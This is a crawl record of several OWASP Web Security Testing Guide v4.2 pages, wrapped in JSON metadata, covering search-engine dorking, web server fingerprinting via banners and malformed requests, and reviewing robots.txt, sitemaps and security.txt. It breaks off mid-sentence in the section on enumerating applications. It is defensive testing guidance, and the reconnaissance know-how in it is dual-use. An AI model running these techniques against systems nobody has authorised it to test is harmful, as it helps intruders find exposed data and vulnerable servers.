"utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:53", "sha256": "f90850ad7bf8a4f537e0c19895a59efa87a77c9465a6b2e224a0d49cb5b75e0d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Discovery_Reconnaissance_for_Information_Leakage", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Discovery_Reconnaissance_for_Information_Leakage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Discovery_Reconnaissance_for_Information_Leakage", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Conduct Search Engine Discovery Reconnaissance for Information Leakage"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Search Engines"}, {"uroven": 3, "text": "Search Operators"}, {"uroven": 3, "text": "Viewing Cached Content"}, {"uroven": 3, "text": "Google Hacking, or Dorking"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.2\n\n# Conduct Search Engine Discovery Reconnaissance for Information Leakage\n\n| ID |\n| --- |\n| WSTG-INFO-01 |\n\n## Summary\n\nIn order for search engines to work, computer programs (or `robots`) regularly fetch data (referred to as [crawling](https://en.wikipedia.org/wiki/Web_crawler) from billions of pages on the web. These programs find web content and functionality by following links from other pages, or by looking at sitemaps. If a website uses a special file called `robots.txt` to list pages that it does not want search engines to fetch, then the pages listed there will be ignored. This is a basic overview - Google offers a more in-depth explanation of [how a search engine works](https://support.google.com/webmasters/answer/70897?hl=en).\n\nTesters can use search engines to perform reconnaissance on websites and web applications. There are direct and indirect elements to search engine discovery and reconnaissance: direct methods relate to searching the indexes and the associated content from caches, while indirect methods relate to learning sensitive design and configuration information by searching forums, newsgroups, and tendering websites.\n\nOnce a search engine robot has completed crawling, it commences indexing the web content based on tags and associated attributes, such as ``, in order to return relevant search results. If the `robots.txt` file is not updated during the lifetime of the web site, and in-line HTML meta tags that instruct robots not to index content have not been used, then it is possible for indexes to contain web content not intended to be included by the owners. Website owners may use the previously mentioned `robots.txt`, HTML meta tags, authentication, and tools provided by search engines to remove such content.\n\n## Test Objectives\n\n- Identify what sensitive design and configuration information of the application, system, or organization is exposed directly (on the organization’s website) or indirectly (via third-party services).\n\n## How to Test\n\nUse a search engine to search for potentially sensitive information. This may include:\n\n- network diagrams and configurations;\n- archived posts and emails by administrators or other key staff;\n- logon procedures and username formats;\n- usernames, passwords, and private keys;\n- third-party, or cloud service configuration files;\n- revealing error message content; and\n- development, test, User Acceptance Testing (UAT), and staging versions of sites.\n\n### Search Engines\n\nDo not limit testing to just one search engine provider, as different search engines may generate different results. Search engine results can vary in a few ways, depending on when the engine last crawled content, and the algorithm the engine uses to determine relevant pages. Consider using the following (alphabetically-listed) search engines:\n\n- [Baidu](https://www.baidu.com/) , China’s [most popular](https://en.wikipedia.org/wiki/Web_search_engine#Market_share) search engine.\n- [Bing](https://www.bing.com/) , a search engine owned and operated by Microsoft, and the second [most popular](https://en.wikipedia.org/wiki/Web_search_engine#Market_share) worldwide. Supports [advanced search keywords](http://help.bing.microsoft.com/#apex/18/en-US/10001/-1) .\n- [binsearch.info](https://binsearch.info/) , a search engine for binary Usenet newsgroups.\n- [Common Crawl](https://commoncrawl.org/) , “an open repository of web crawl data that can be accessed and analyzed by anyone.”\n- [DuckDuckGo](https://duckduckgo.com/) , a privacy-focused search engine that compiles results from many different [sources](https://help.duckduckgo.com/results/sources/) . Supports [search syntax](https://help.duckduckgo.com/duckduckgo-help-pages/results/syntax/) .\n- [Google](https://www.google.com/) , which offers the world’s [most popular](https://en.wikipedia.org/wiki/Web_search_engine#Market_share) search engine, and uses a ranking system to attempt to return the most relevant results. Supports [search operators](https://support.google.com/websearch/answer/2466433) .\n- [Internet Archive Wayback Machine](https://archive.org/web/) , “building a digital library of Internet sites and other cultural artifacts in digital form.”\n- [Startpage](https://www.startpage.com/) , a search engine that uses Google’s results without collecting personal information through trackers and logs. Supports [search operators](https://support.startpage.com/index.php?/Knowledgebase/Article/View/989/0/advanced-search-which-search-operators-are-supported-by-startpagecom) .\n- [Shodan](https://www.shodan.io/) , a service for searching Internet-connected devices and services. Usage options include a limited free plan as well as paid subscription plans.\n\nBoth DuckDuckGo and Startpage offer some increased privacy to users by not utilizing trackers or keeping logs. This can provide reduced information leakage about the tester.\n\n### Search Operators\n\nA search operator is a special keyword or syntax that extends the capabilities of regular search queries, and can help obtain more specific results. They generally take the form of `operator:query`. Here are some commonly supported search operators:\n\n- `site:` will limit the search to the provided domain.\n- `inurl:` will only return results that include the keyword in the URL.\n- `intitle:` will only return results that have the keyword in the page title.\n- `intext:` or `inbody:` will only search for the keyword in the body of pages.\n- `filetype:` will match only a specific filetype, i.e. png, or php.\n\nFor example, to find the web content of owasp.org as indexed by a typical search engine, the syntax required is:\n\n```\nsite:owasp.org\n```\n\n*Figure 4.1.1-1: Google Site Operation Search Result Example*\n\n### Viewing Cached Content\n\nTo search for content that has previously been indexed, use the `cache:` operator. This is helpful for viewing content that may have changed since the time it was indexed, or that may no longer be available. Not all search engines provide cached content to search; the most useful source at time of writing is Google.\n\nTo view `owasp.org` as it is cached, the syntax is:\n\n```\ncache:owasp.org\n```\n\n*Figure 4.1.1-2: Google Cache Operation Search Result Example*\n\n### Google Hacking, or Dorking\n\nSearching with operators can be a very effective discovery technique when combined with the creativity of the tester. Operators can be chained to effectively discover specific kinds of sensitive files and information. This technique, called [Google hacking](https://en.wikipedia.org/wiki/Google_hacking) or Dorking, is also possible using other search engines, as long as the search operators are supported.\n\nA database of dorks, such as [Google Hacking Database](https://www.exploit-db.com/google-hacking-database), is a useful resource that can help uncover specific information. Some categories of dorks available on this database include:\n\n- Footholds\n- Files containing usernames\n- Sensitive Directories\n- Web Server Detection\n- Vulnerable Files\n- Vulnerable Servers\n- Error Messages\n- Files containing juicy info\n- Files containing passwords\n- Sensitive Online Shopping Info\n\nDatabases for other search engines, such as Bing and Shodan, are available from resources such as Bishop Fox’s [Google Hacking Diggity Project](https://resources.bishopfox.com/resources/tools/google-hacking-diggity/).\n\n## Remediation\n\nCarefully consider the sensitivity of design and configuration information before it is posted online.\n\nPeriodically review the sensitivity of existing design and configuration information that is posted online.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7539, "slov": 996, "odkazu": 198, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:48", "sha256": "12a886f9d4280d081dee57c0f5d73749fde3163442dc833b0c49a25d8151650b", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Web_crawler", "https://support.google.com/webmasters/answer/70897?hl=en", "https://www.baidu.com/", "https://en.wikipedia.org/wiki/Web_search_engine", "https://www.bing.com/", "http://help.bing.microsoft.com/", "https://binsearch.info/", "https://commoncrawl.org/", "https://duckduckgo.com/", "https://help.duckduckgo.com/results/sources/", "https://help.duckduckgo.com/duckduckgo-help-pages/results/syntax/", "https://www.google.com/", "https://support.google.com/websearch/answer/2466433", "https://archive.org/web/", "https://www.startpage.com/", "https://support.startpage.com/index.php?%2FKnowledgebase%2FArticle%2FView%2F989%2F0%2Fadvanced-search-which-search-operators-are-supported-by-startpagecom=", "https://www.shodan.io/", "https://en.wikipedia.org/wiki/Google_hacking", "https://www.exploit-db.com/google-hacking-database", "https://resources.bishopfox.com/resources/tools/google-hacking-diggity/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Fingerprint Web Server"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Sending Malformed Requests"}, {"uroven": 3, "text": "Using Automated Scanning Tools"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.2\n\n# Fingerprint Web Server\n\n| ID |\n| --- |\n| WSTG-INFO-02 |\n\n## Summary\n\nWeb server fingerprinting is the task of identifying the type and version of web server that a target is running on. While web server fingerprinting is often encapsulated in automated testing tools, it is important for researchers to understand the fundamentals of how these tools attempt to identify software, and why this is useful.\n\nAccurately discovering the type of web server that an application runs on can enable security testers to determine if the application is vulnerable to attack. In particular, servers running older versions of software without up-to-date security patches can be susceptible to known version-specific exploits.\n\n## Test Objectives\n\n- Determine the version and type of a running web server to enable further discovery of any known vulnerabilities.\n\n## How to Test\n\nTechniques used for web server fingerprinting include [banner grabbing](https://en.wikipedia.org/wiki/Banner_grabbing), eliciting responses to malformed requests, and using automated tools to perform more robust scans that use a combination of tactics. The fundamental premise by which all these techniques operate is the same. They all strive to elicit some response from the web server which can then be compared to a database of known responses and behaviors, and thus matched to a known server type.\n\nA banner grab is performed by sending an HTTP request to the web server and examining its [response header](https://developer.mozilla.org/en-US/docs/Glossary/Response_header). This can be accomplished using a variety of tools, including `telnet` for HTTP requests, or `openssl` for requests over SSL.\n\nFor example, here is the response to a request from an Apache server.\n\n```\nHTTP/1.1 200 OK Date: Thu, 05 Sep 2019 17:42:39 GMT Server: Apache/2.4.41 (Unix) Last-Modified: Thu, 05 Sep 2019 17:40:42 GMT ETag: \"75-591d1d21b6167\" Accept-Ranges: bytes Content-Length: 117 Connection: close Content-Type: text/html ... \n```\n\nHere is another response, this time from nginx.\n\n```\nHTTP/1.1 200 OK Server: nginx/1.17.3 Date: Thu, 05 Sep 2019 17:50:24 GMT Content-Type: text/html Content-Length: 117 Last-Modified: Thu, 05 Sep 2019 17:40:42 GMT Connection: close ETag: \"5d71489a-75\" Accept-Ranges: bytes ... \n```\n\nHere’s what a response from lighttpd looks like.\n\n```\nHTTP/1.0 200 OK\nContent-Type: text/html\nAccept-Ranges: bytes\nETag: \"4192788355\"\nLast-Modified: Thu, 05 Sep 2019 17:40:42 GMT\nContent-Length: 117\nConnection: close\nDate: Thu, 05 Sep 2019 17:57:57 GMT\nServer: lighttpd/1.4.54\n```\n\nIn these examples, the server type and version is clearly exposed. However, security-conscious applications may obfuscate their server information by modifying the header. For example, here is an excerpt from the response to a request for a site with a modified header:\n\n```\nHTTP/1.1 200 OK\nServer: Website.com\nDate: Thu, 05 Sep 2019 17:57:06 GMT\nContent-Type: text/html; charset=utf-8\nStatus: 200 OK\n...\n```\n\nIn cases where the server information is obscured, testers may guess the type of server based on the ordering of the header fields. Note that in the Apache example above, the fields follow this order:\n\n- Date\n- Server\n- Last-Modified\n- ETag\n- Accept-Ranges\n- Content-Length\n- Connection\n- Content-Type\n\nHowever, in both the nginx and obscured server examples, the fields in common follow this order:\n\n- Server\n- Date\n- Content-Type\n\nTesters can use this information to guess that the obscured server is nginx. However, considering that a number of different web servers may share the same field ordering and fields can be modified or removed, this method is not definite.\n\n### Sending Malformed Requests\n\nWeb servers may be identified by examining their error responses, and in the cases where they have not been customized, their default error pages. One way to compel a server to present these is by sending intentionally incorrect or malformed requests.\n\nFor example, here is the response to a request for the non-existent method `SANTA CLAUS` from an Apache server.\n\n```\nGET / SANTA CLAUS/1.1\n\nHTTP/1.1 400 Bad Request\nDate: Fri, 06 Sep 2019 19:21:01 GMT\nServer: Apache/2.4.41 (Unix)\nContent-Length: 226\nConnection: close\nContent-Type: text/html; charset=iso-8859-1\n\n<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>400 Bad Request\n\n

Bad Request

\n

Your browser sent a request that this server could not understand.
\n

\n\n```\n\nHere is the response to the same request from nginx.\n\n```\nGET / SANTA CLAUS/1.1\n\n\n404 Not Found\n\n

404 Not Found

\n
nginx/1.17.3
\n\n\n```\n\nHere is the response to the same request from lighttpd.\n\n```\nGET / SANTA CLAUS/1.1\n\nHTTP/1.0 400 Bad Request\nContent-Type: text/html\nContent-Length: 345\nConnection: close\nDate: Sun, 08 Sep 2019 21:56:17 GMT\nServer: lighttpd/1.4.54\n\n\n\n\n \n 400 Bad Request\n \n \n

400 Bad Request

\n \n\n```\n\nAs default error pages offer many differentiating factors between types of web servers, their examination can be an effective method for fingerprinting even when server header fields are obscured.\n\n### Using Automated Scanning Tools\n\nAs stated earlier, web server fingerprinting is often included as a functionality of automated scanning tools. These tools are able to make requests similar to those demonstrated above, as well as send other more server-specific probes. Automated tools can compare responses from web servers much faster than manual testing, and utilize large databases of known responses to attempt server identification. For these reasons, automated tools are more likely to produce accurate results.\n\nHere are some commonly-used scan tools that include web server fingerprinting functionality.\n\n- [Netcraft](https://toolbar.netcraft.com/site_report) , an online tool that scans websites for information, including the web server.\n- [Nikto](https://github.com/sullo/nikto) , an Open Source command-line scanning tool.\n- [Nmap](https://nmap.org/) , an Open Source command-line tool that also has a GUI, [Zenmap](https://nmap.org/zenmap/) .\n\n## Remediation\n\nWhile exposed server information is not necessarily in itself a vulnerability, it is information that can assist attackers in exploiting other vulnerabilities that may exist. Exposed server information can also lead attackers to find version-specific server vulnerabilities that can be used to exploit unpatched servers. For this reason it is recommended that some precautions be taken. These actions include:\n\n- Obscuring web server information in headers, such as with Apache’s [mod_headers module](https://httpd.apache.org/docs/current/mod/mod_headers.html) .\n- Using a hardened [reverse proxy server](https://en.wikipedia.org/wiki/Proxy_server#Reverse_proxies) to create an additional layer of security between the web server and the Internet.\n- Ensuring that web servers are kept up-to-date with the latest software and security patches.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7274, "slov": 1048, "odkazu": 186, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:49", "sha256": "74eba0d47329963de708121e94fa63123e55d4cf3b5c18aaa7a7e1db9a75ab5e", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Banner_grabbing", "https://developer.mozilla.org/en-US/docs/Glossary/Response_header", "https://toolbar.netcraft.com/site_report", "https://github.com/sullo/nikto", "https://nmap.org/", "https://nmap.org/zenmap/", "https://httpd.apache.org/docs/current/mod/mod_headers.html", "https://en.wikipedia.org/wiki/Proxy_server", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/03-Review_Webserver_Metafiles_for_Information_Leakage", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/03-Review_Webserver_Metafiles_for_Information_Leakage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/03-Review_Webserver_Metafiles_for_Information_Leakage", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Review Webserver Metafiles for Information Leakage"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Robots"}, {"uroven": 4, "text": "Analyze robots.txt Using Google Webmaster Tools"}, {"uroven": 3, "text": "META Tags"}, {"uroven": 4, "text": "Robots META Tag"}, {"uroven": 4, "text": "Miscellaneous META Information Tags"}, {"uroven": 3, "text": "Sitemaps"}, {"uroven": 3, "text": "Security TXT"}, {"uroven": 3, "text": "Humans TXT"}, {"uroven": 3, "text": "Other .well-known Information Sources"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - v4.2\n\n# Review Webserver Metafiles for Information Leakage\n\n| ID |\n| --- |\n| WSTG-INFO-03 |\n\n## Summary\n\nThis section describes how to test various metadata files for information leakage of the web application’s path(s), or functionality. Furthermore, the list of directories that are to be avoided by Spiders, Robots, or Crawlers can also be created as a dependency for [Map execution paths through application](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application). Other information may also be collected to identify attack surface, technology details, or for use in social engineering engagement.\n\n## Test Objectives\n\n- Identify hidden or obfuscated paths and functionality through the analysis of metadata files.\n- Extract and map other information that could lead to better understanding of the systems at hand.\n\n## How to Test\n\n> Any of the actions performed below with `wget` could also be done with `curl`. Many Dynamic Application Security Testing (DAST) tools such as ZAP and Burp Suite include checks or parsing for these resources as part of their spider/crawler functionality. They can also be identified using various [Google Dorks](https://en.wikipedia.org/wiki/Google_hacking) or leveraging advanced search features such as `inurl:`.\n\n### Robots\n\nWeb Spiders, Robots, or Crawlers retrieve a web page and then recursively traverse hyperlinks to retrieve further web content. Their accepted behavior is specified by the [Robots Exclusion Protocol](https://www.robotstxt.org) of the [robots.txt](https://www.robotstxt.org/) file in the web root directory.\n\nAs an example, the beginning of the `robots.txt` file from [Google](https://www.google.com/robots.txt) sampled on 2020 May 5 is quoted below:\n\n```\nUser-agent: *\nDisallow: /search\nAllow: /search/about\nAllow: /search/static\nAllow: /search/howsearchworks\nDisallow: /sdch\n...\n```\n\nThe [User-Agent](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent) directive refers to the specific web spider/robot/crawler. For example, the `User-Agent: Googlebot` refers to the spider from Google while `User-Agent: bingbot` refers to a crawler from Microsoft. `User-Agent: *` in the example above applies to all [web spiders/robots/crawlers](https://support.google.com/webmasters/answer/6062608?visit_id=637173940975499736-3548411022&rd=1).\n\nThe `Disallow` directive specifies which resources are prohibited by spiders/robots/crawlers. In the example above, the following are prohibited:\n\n```\n...\nDisallow: /search\n...\nDisallow: /sdch\n...\n```\n\nWeb spiders/robots/crawlers can [intentionally ignore](https://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html) the `Disallow` directives specified in a `robots.txt` file, such as those from [Social Networks](https://www.htbridge.com/news/social_networks_can_robots_violate_user_privacy.html) to ensure that shared linked are still valid. Hence, `robots.txt` should not be considered as a mechanism to enforce restrictions on how web content is accessed, stored, or republished by third parties.\n\nThe `robots.txt` file is retrieved from the web root directory of the web server. For example, to retrieve the `robots.txt` from `www.google.com` using `wget` or `curl`:\n\n```\n$ curl -O -Ss http://www.google.com/robots.txt && head -n5 robots.txt\nUser-agent: *\nDisallow: /search\nAllow: /search/about\nAllow: /search/static\nAllow: /search/howsearchworks\n...\n```\n\n#### Analyze robots.txt Using Google Webmaster Tools\n\nWeb site owners can use the Google “Analyze robots.txt” function to analyze the website as part of its [Google Webmaster Tools](https://www.google.com/webmasters/tools). This tool can assist with testing and the procedure is as follows:\n\n1. Sign into Google Webmaster Tools with a Google account.\n2. On the dashboard, enter the URL for the site to be analyzed.\n3. Choose between the available methods and follow the on screen instruction.\n\n### META Tags\n\n`` tags are located within the `HEAD` section of each HTML document and should be consistent across a web site in the event that the robot/spider/crawler start point does not begin from a document link other than webroot i.e. a [deep link](https://en.wikipedia.org/wiki/Deep_linking). Robots directive can also be specified through use of a specific [META tag](https://www.robotstxt.org/meta.html).\n\n#### Robots META Tag\n\nIf there is no `` entry then the “Robots Exclusion Protocol” defaults to `INDEX,FOLLOW` respectively. Therefore, the other two valid entries defined by the “Robots Exclusion Protocol” are prefixed with `NO...` i.e. `NOINDEX` and `NOFOLLOW`.\n\nBased on the Disallow directive(s) listed within the `robots.txt` file in webroot, a regular expression search for ` \n...\n \n...\n```\n\n### Sitemaps\n\nA sitemap is a file where a developer or organization can provide information about the pages, videos, and other files offered by the site or application, and the relationship between them. Search engines can use this file to more intelligently explore your site. Testers can use `sitemap.xml` files to learn more about the site or application to explore it more completely.\n\nThe following excerpt is from Google’s primary sitemap retrieved 2020 May 05.\n\n```\n$ wget --no-verbose https://www.google.com/sitemap.xml && head -n8 sitemap.xml\n2020-05-05 12:23:30 URL:https://www.google.com/sitemap.xml [2049] -> \"sitemap.xml\" [1]\n\n\n\n \n https://www.google.com/gmail/sitemap.xml\n \n \n https://www.google.com/forms/sitemaps.xml\n \n...\n```\n\nExploring from there a tester may wish to retrieve the gmail sitemap `https://www.google.com/gmail/sitemap.xml`:\n\n```\n https://www.google.com/intl/am/gmail/about/ \n...\n```\n\n### Security TXT\n\n`security.txt` is a [proposed standard](https://securitytxt.org/) which allows websites to define security policies and contact details. There are multiple reasons this might be of interest in testing scenarios, including but not limited to:\n\n- Identifying further paths or resources to include in discovery/analysis.\n- Open Source intelligence gathering.\n- Finding information on Bug Bounties, etc.\n- Social Engineering.\n\nThe file may be present either in the root of the webserver or in the `.well-known/` directory. Ex:\n\n- `https://example.com/security.txt`\n- `https://example.com/.well-known/security.txt`\n\nHere is a real world example retrieved from LinkedIn 2020 May 05:\n\n```\n$ wget --no-verbose https://www.linkedin.com/.well-known/security.txt && cat security.txt\n2020-05-07 12:56:51 URL:https://www.linkedin.com/.well-known/security.txt [333/333] -> \"security.txt\" [1]\n# Conforms to IETF `draft-foudil-securitytxt-07`\nContact: mailto:security@linkedin.com\nContact: https://www.linkedin.com/help/linkedin/answer/62924\nEncryption: https://www.linkedin.com/help/linkedin/answer/79676\nCanonical: https://www.linkedin.com/.well-known/security.txt\nPolicy: https://www.linkedin.com/help/linkedin/answer/62924\n```\n\n### Humans TXT\n\n`humans.txt` is an initiative for knowing the people behind a website. It takes the form of a text file that contains information about the different people who have contributed to building the website. See [humanstxt](http://humanstxt.org/) for more info. This file often (though not always) contains information for career or job sites/paths.\n\nThe following example was retrieved from Google 2020 May 05:\n\n```\n$ wget --no-verbose https://www.google.com/humans.txt && cat humans.txt\n2020-05-07 12:57:52 URL:https://www.google.com/humans.txt [286/286] -> \"humans.txt\" [1]\nGoogle is built by a large team of engineers, designers, researchers, robots, and others in many different sites across the globe. It is updated continuously, and built with more tools and technologies than we can shake a stick at. If you'd like to help us out, see careers.google.com.\n```\n\n### Other .well-known Information Sources\n\nThere are other RFCs and Internet drafts which suggest standardized uses of files within the `.well-known/` directory. Lists of which can be found [here](https://en.wikipedia.org/wiki/List_of_/.well-known/_services_offered_by_webservers) or [here](https://www.iana.org/assignments/well-known-uris/well-known-uris.xhtml).\n\nIt would be fairly simple for a tester to review the RFC/drafts are create a list to be supplied to a crawler or fuzzer, in order to verify the existence or content of such files.\n\n## Tools\n\n- Browser (View Source or Dev Tools functionality)\n- curl\n- wget\n- Burp Suite\n- ZAP\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11170, "slov": 1341, "odkazu": 193, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:50", "sha256": "3e9b2dae17c6710db8b91300e8091a701cc6fcfb210d4f91cd68f7da3a274fd3", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Google_hacking", "https://www.robotstxt.org/", "https://www.google.com/robots.txt", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent", "https://support.google.com/webmasters/answer/6062608?rd=1&visit_id=637173940975499736-3548411022", "https://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html", "https://www.htbridge.com/news/social_networks_can_robots_violate_user_privacy.html", "https://www.google.com/webmasters/tools", "https://en.wikipedia.org/wiki/Deep_linking", "https://www.robotstxt.org/meta.html", "https://securitytxt.org/", "http://humanstxt.org/", "https://en.wikipedia.org/wiki/List_of_/.well-known/_services_offered_by_webservers", "https://www.iana.org/assignments/well-known-uris/well-known-uris.xhtml", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/04-Enumerate_Applications_on_Webserver", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/04-Enumerate_Applications_on_Webserver", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/04-Enumerate_Applications_on_Webserver", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Enumerate Applications on Webserver"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Approaches to Address Issue 1 - Non-standard URLs"}, {"uroven": 3, "text": "Approaches to Address Issue 2 - Non-standard Ports"}, {"uroven": 3, "text": "Approaches to Address Issue 3 - Virtual Hosts"}, {"uroven": 4, "text": "DNS Zone Transfers"}, {"uroven": 4, "text": "DNS Inverse Queries"}, {"uroven": 4, "text": "Web-based DNS Searches"}, {"uroven": 4, "text": "Reverse-IP Services"}, {"uroven": 4, "text": "Googling"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - v4.2\n\n# Enumerate Applications on Webserver\n\n| ID |\n| --- |\n| WSTG-INFO-04 |\n\n## Summary\n\nA paramount step in testing for web application vulnerabilities is to find out which particular applications are hosted on a web server. Many applications have known vulnerabilities and known attack strategies that can be exploited in order to gain remote control or to exploit data. In addition, many applications are often 